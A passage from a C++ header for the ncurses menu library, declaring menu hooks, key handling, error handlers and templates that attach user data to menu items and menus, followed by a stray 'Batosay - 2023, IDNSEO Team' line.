  }

  // -----
  // Hooks
  // -----

  // Called after the menu gets repositioned in its window.
  // This is especially true if the menu is posted.
  virtual void On_Menu_Init();

  // Called before the menu gets repositioned in its window.
  // This is especially true if the menu is unposted.
  virtual void On_Menu_Termination();

  // Called after the item became the current item
  virtual void On_Item_Init(NCursesMenuItem& item);

  // Called before this item is left as current item.
  virtual void On_Item_Termination(NCursesMenuItem& item);

  // Provide a default key virtualization. Translate the keyboard
  // code c into a menu request code.
  // The default implementation provides a hopefully straightforward
  // mapping for the most common keystrokes and menu requests.
  virtual int virtualize(int c);


  // Operators
  inline NCursesMenuItem* operator[](int i) const {
    if ( (i < 0) || (i >= ::item_count (menu)) )
      OnError (E_BAD_ARGUMENT);
    return (my_items[i]);
  }

  // Perform the menu's operation
  // Return the item where you left the selection mark for a single
  // selection menu, or NULL for a multivalued menu.
  virtual NCursesMenuItem* operator()(void);

  // --------------------
  // Exception handlers
  // Called by operator()
  // --------------------

  // Called if the request is denied
  virtual void On_Request_Denied(int c) const;

  // Called if the item is not selectable
  virtual void On_Not_Selectable(int c) const;

  // Called if pattern doesn't match
  virtual void On_No_Match(int c) const;

  // Called if the command is unknown
  virtual void On_Unknown_Command(int c) const;

};
//
// -------------------------------------------------------------------------
// This is the typical C++ typesafe way to allow to attach
// user data to an item of a menu. Its assumed that the user
// data belongs to some class T. Use T as template argument
// to create a UserItem.
// -------------------------------------------------------------------------
//
template<class T> class NCURSES_IMPEXP NCursesUserItem : public NCursesMenuItem
{
public:
  NCursesUserItem (const char* p_name,
		   const char* p_descript = NULL,
		   const T* p_UserData    = STATIC_CAST(T*)(0))
    : NCursesMenuItem (p_name, p_descript) {
      if (item)
	OnError (::set_item_userptr (item, const_cast<void *>(reinterpret_cast<const void*>(p_UserData))));
  }

  virtual ~NCursesUserItem() {}

  inline const T* UserData (void) const {
    return reinterpret_cast<const T*>(::item_userptr (item));
  };

  inline virtual void setUserData(const T* p_UserData) {
    if (item)
      OnError (::set_item_userptr (item, const_cast<void *>(reinterpret_cast<const void *>(p_UserData))));
  }
};
//
// -------------------------------------------------------------------------
// The same mechanism is used to attach user data to a menu
// -------------------------------------------------------------------------
//
template<class T> class NCURSES_IMPEXP NCursesUserMenu : public NCursesMenu
{
protected:
  NCursesUserMenu( int  nlines,
		   int  ncols,
		   int  begin_y = 0,
		   int  begin_x = 0,
		   const T* p_UserData = STATIC_CAST(T*)(0))
    : NCursesMenu(nlines,ncols,begin_y,begin_x) {
      if (menu)
	set_user (const_cast<void *>(reinterpret_cast<const void*>(p_UserData)));
  }

public:
  NCursesUserMenu (NCursesMenuItem* Items[],
		   const T* p_UserData = STATIC_CAST(T*)(0),
		   bool with_frame=FALSE,
		   bool autoDelete_Items=FALSE)
    : NCursesMenu (Items, with_frame, autoDelete_Items) {
      if (menu)
	set_user (const_cast<void *>(reinterpret_cast<const void*>(p_UserData)));
  };

  NCursesUserMenu (NCursesMenuItem* Items[],
		   int nlines,
		   int ncols,
		   int begin_y = 0,
		   int begin_x = 0,
		   const T* p_UserData = STATIC_CAST(T*)(0),
		   bool with_frame=FALSE)
    : NCursesMenu (Items, nlines, ncols, begin_y, begin_x, with_frame) {
      if (menu)
	set_user (const_cast<void *>(reinterpret_cast<const void*>(p_UserData)));
  };

  virtual ~NCursesUserMenu() {
  };

  inline T* UserData (void) {
    return reinterpret_cast<T*>(get_user ());
  };

  inline virtual void setUserData (const T* p_UserData) {
    if (menu)
      set_user (const_cast<void *>(reinterpret_cast<const void*>(p_UserData)));
  }
};

#endif /* NCURSES_CURSESM_H_incl */

Batosay - 2023
IDNSEO Team